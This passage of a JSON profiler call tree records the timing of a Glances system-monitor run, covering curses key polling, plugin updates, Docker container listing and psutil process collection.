0.002001554996240884},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102059,\"attributes\": {\"cGlancesCursesStandalone\": 0.10205854200467002, \"l291\": 0.10205854200467002},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102059,\"attributes\": {\"cGlancesCursesStandalone\": 0.10205854200467002, \"l260\": 0.10205854200467002},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102059,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102059,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051475599902915, \"l1202\": 0.10051475599902915},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051358999771765, \"l291\": 0.10051358999771765},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100514,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051358999771765, \"l260\": 0.10051358999771765},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100514,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100514,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100405,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040472000400769, \"l1202\": 0.10040472000400769},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100405,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100405,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100566,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005660699956934, \"l291\": 0.1005660699956934},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100566,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005660699956934, \"l260\": 0.1005660699956934},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100566,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100566,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100468,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046804400190013, \"l1202\": 0.10046804400190013},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100468,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100468,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100601,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006008659969666, \"l291\": 0.1006008659969666},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100601,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006008659969666, \"l260\": 0.1006008659969666},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100601,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100601,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100408,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040820400172379, \"l1202\": 0.10040820400172379},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100408,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100408,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100543,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054253000271274, \"l291\": 0.10054253000271274},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100543,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054253000271274, \"l260\": 0.10054253000271274},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100543,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100543,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100484,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048410099989269, \"l1202\": 0.10048410099989269},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100484,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100484,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100580,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058009199565277, \"l291\": 0.10058009199565277},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100580,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058009199565277, \"l260\": 0.10058009199565277},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100580,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100580,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047494500031462, \"l1202\": 0.10047494500031462},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100475,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100475,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053957700438332, \"l291\": 0.10053957700438332},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053957700438332, \"l260\": 0.10053957700438332},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100540,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100540,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100341,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034111399727408, \"l1202\": 0.10034111399727408},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100341,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100341,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059675200318452, \"l291\": 0.10059675200318452},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100597,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059675200318452, \"l260\": 0.10059675200318452},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100597,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100597,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100336,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033624999778112, \"l1202\": 0.10033624999778112},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100336,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100336,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.097697,\"attributes\": {\"cGlancesStats\": 0.09769697499723407, \"l287\": 0.09769697499723407},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.097697,\"attributes\": {\"cGlancesStats\": 0.09769697499723407, \"l575\": 0.09769697499723407},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.097697,\"attributes\": {\"l571\": 0.09769697499723407},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.097697,\"attributes\": {\"cGlancesStats\": 0.09769697499723407, \"l274\": 0.07557029600138776, \"l275\": 0.022126678995846305},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.073570,\"attributes\": {\"cDiskioPlugin\": 0.005581905999861192, \"l1278\": 0.0735698839998804, \"cContainersPlugin\": 0.005995756000629626, \"cProcesscountPlugin\": 0.061992221999389585},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.073570,\"attributes\": {\"l1295\": 0.0735698839998804},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.005582,\"attributes\": {\"cDiskioPlugin\": 0.005581905999861192, \"l114\": 0.005581905999861192},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.005582,\"attributes\": {\"cDiskioPlugin\": 0.005581905999861192, \"l1351\": 0.003587248000258114, \"l1365\": 0.0019946579996030778},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003587,\"attributes\": {\"cDiskioPlugin\": 0.003587248000258114, \"l148\": 0.0016238809985225089, \"l158\": 0.0019633670017356053},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001624,\"attributes\": {\"l2129\": 0.0016238809985225089},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001624,\"attributes\": {\"l1106\": 0.0016238809985225089},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001624,\"attributes\": {\"l1051\": 0.0016238809985225089},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001624,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001963,\"attributes\": {},\"children\": []}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001995,\"attributes\": {\"l131\": 0.0019946579996030778},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.001995,\"attributes\": {\"l177\": 0.0019946579996030778},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001995,\"attributes\": {\"l131\": 0.0019946579996030778},\"children\": [{\"identifier\": \"_deepcopy_dict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000198\",\"time\": 0.001995,\"attributes\": {\"l202\": 0.0019946579996030778},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001995,\"attributes\": {\"l119\": 0.0019946579996030778},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.005996,\"attributes\": {\"cContainersPlugin\": 0.005995756000629626, \"l252\": 0.005995756000629626},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.005996,\"attributes\": {\"l256\": 0.005995756000629626},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.005996,\"attributes\": {\"l248\": 0.005995756000629626},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.005996,\"attributes\": {\"cDockerExtension\": 0.005995756000629626, \"l260\": 0.005995756000629626},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.003998,\"attributes\": {\"cContainerCollection\": 0.003997831001470331, \"l1009\": 0.003997831001470331},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l212\": 0.003997831001470331},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l44\": 0.003997831001470331},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l246\": 0.003997831001470331},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l602\": 0.003997831001470331},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l589\": 0.003997831001470331},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.003997831001470331, \"l703\": 0.003997831001470331},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.003998,\"attributes\": {\"cUnixHTTPAdapter\": 0.003997831001470331, \"l644\": 0.003997831001470331},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.003998,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.003997831001470331, \"l723\": 0.0019972299996879883, \"l787\": 0.002000601001782343},\"children\": [{\"identifier\": \"_encode_target\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/url.py\\u0000349\",\"time\": 0.001997,\"attributes\": {\"l360\": 0.0019972299996879883},\"children\": [{\"identifier\": \"_encode_invalid_chars\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/url.py\\u0000227\",\"time\": 0.001997,\"attributes\": {\"l252\": 0.0019972299996879883},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002001,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002000601001782343, \"l534\": 0.002000601001782343},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002001,\"attributes\": {\"cUnixHTTPConnection\": 0.002000601001782343, \"l571\": 0.002000601001782343},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002001,\"attributes\": {\"cUnixHTTPConnection\": 0.002000601001782343, \"l1430\": 0.002000601001782343},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002001,\"attributes\": {\"cHTTPResponse\": 0.002000601001782343, \"l350\": 0.002000601001782343},\"children\": [{\"identifier\": \"parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000245\",\"time\": 0.002001,\"attributes\": {\"l249\": 0.002000601001782343},\"children\": [{\"identifier\": \"_parse_header_lines\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000231\",\"time\": 0.002001,\"attributes\": {\"l243\": 0.002000601001782343},\"children\": [{\"identifier\": \"parsestr\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000056\",\"time\": 0.002001,\"attributes\": {\"cParser\": 0.002000601001782343, \"l64\": 0.002000601001782343},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000041\",\"time\": 0.002001,\"attributes\": {\"cParser\": 0.002000601001782343, \"l54\": 0.002000601001782343},\"children\": [{\"identifier\": \"close\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000184\",\"time\": 0.002001,\"attributes\": {\"cFeedParser\": 0.002000601001782343, \"l188\": 0.002000601001782343},\"children\": [{\"identifier\": \"_pop_message\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000210\",\"time\": 0.002001,\"attributes\": {\"cFeedParser\": 0.002000601001782343, \"l211\": 0.002000601001782343},\"children\": [{\"identifier\": \"list.pop\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.061992,\"attributes\": {\"cProcesscountPlugin\": 0.061992221999389585, \"l85\": 0.061992221999389585},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.061992,\"attributes\": {\"cGlancesProcesses\": 0.061992221999389585, \"l617\": 0.055991875000472646, \"l624\": 0.0019997889976366423, \"l659\": 0.004000558001280297},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.055992,\"attributes\": {\"cGlancesProcesses\": 0.055991875000472646, \"l478\": 0.0479917979973834, \"l493\": 0.008000077003089245},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.047992,\"attributes\": {\"l1541\": 0.002610062998428475, \"l1558\": 0.045381734998954926},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002610,\"attributes\": {\"l1485\": 0.002610062998428475},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002610,\"attributes\": {\"l1526\": 0.002610062998428475},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002610,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002610,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.045382,\"attributes\": {\"cProcess\": 0.045381734998954926, \"l579\": 0.03537944099662127, \"l578\": 0.001999457999772858, \"l572\": 0.008002836002560798},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003386,\"attributes\": {\"cProcess\": 0.003386223004781641, \"l382\": 0.003386223004781641},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003386,\"attributes\": {\"cProcess\": 0.003386223004781641, \"l1138\": 0.003386223004781641},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003386,\"attributes\": {\"cProcess\": 0.003386223004781641, \"l1593\": 0.003386223004781641},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.003386,\"attributes\": {\"cProcess\": 0.003386223004781641, \"l1878\": 0.001385679999657441, \"l1879\": 0.0020005430051242},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001386,\"attributes\": {},\"children\": []},{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.002001,\"attributes\": {\"l1880\": 0.0020005430051242},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996071994653903, \"l687\": 0.001996071994653903},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996071994653903, \"l748\": 0.001996071994653903},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996071994653903, \"l1593\": 0.001996071994653903},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063002924435, \"l836\": 0.002000063002924435},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063002924435, \"l1593\": 0.002000063002924435},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000063002924435, \"l1796\": 0.002000063002924435},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000063002924435},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l680\": 0.0040013620018726215},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l1593\": 0.0040013620018726215},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l1740\": 0.0040013620018726215},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l1593\": 0.0040013620018726215},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l382\": 0.0040013620018726215},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040013620018726215, \"l1683\": 0.0040013620018726215},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004001,\"attributes\": {\"l730\": 0.0040013620018726215},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004001,\"attributes\": {\"l719\": 0.0040013620018726215},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.004001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003800018457696, \"l794\": 0.0020003800018457696},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003800018457696, \"l1593\": 0.0020003800018457696},\"children\": [{\"identifier\": \"nice_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002082\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003800018457696, \"l2089\": 0.0020003800018457696},\"children\": [{\"identifier\": \"proc_priority_get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002719975309446, \"l812\": 0.0020002719975309446},\"children\": [{\"identifier\": 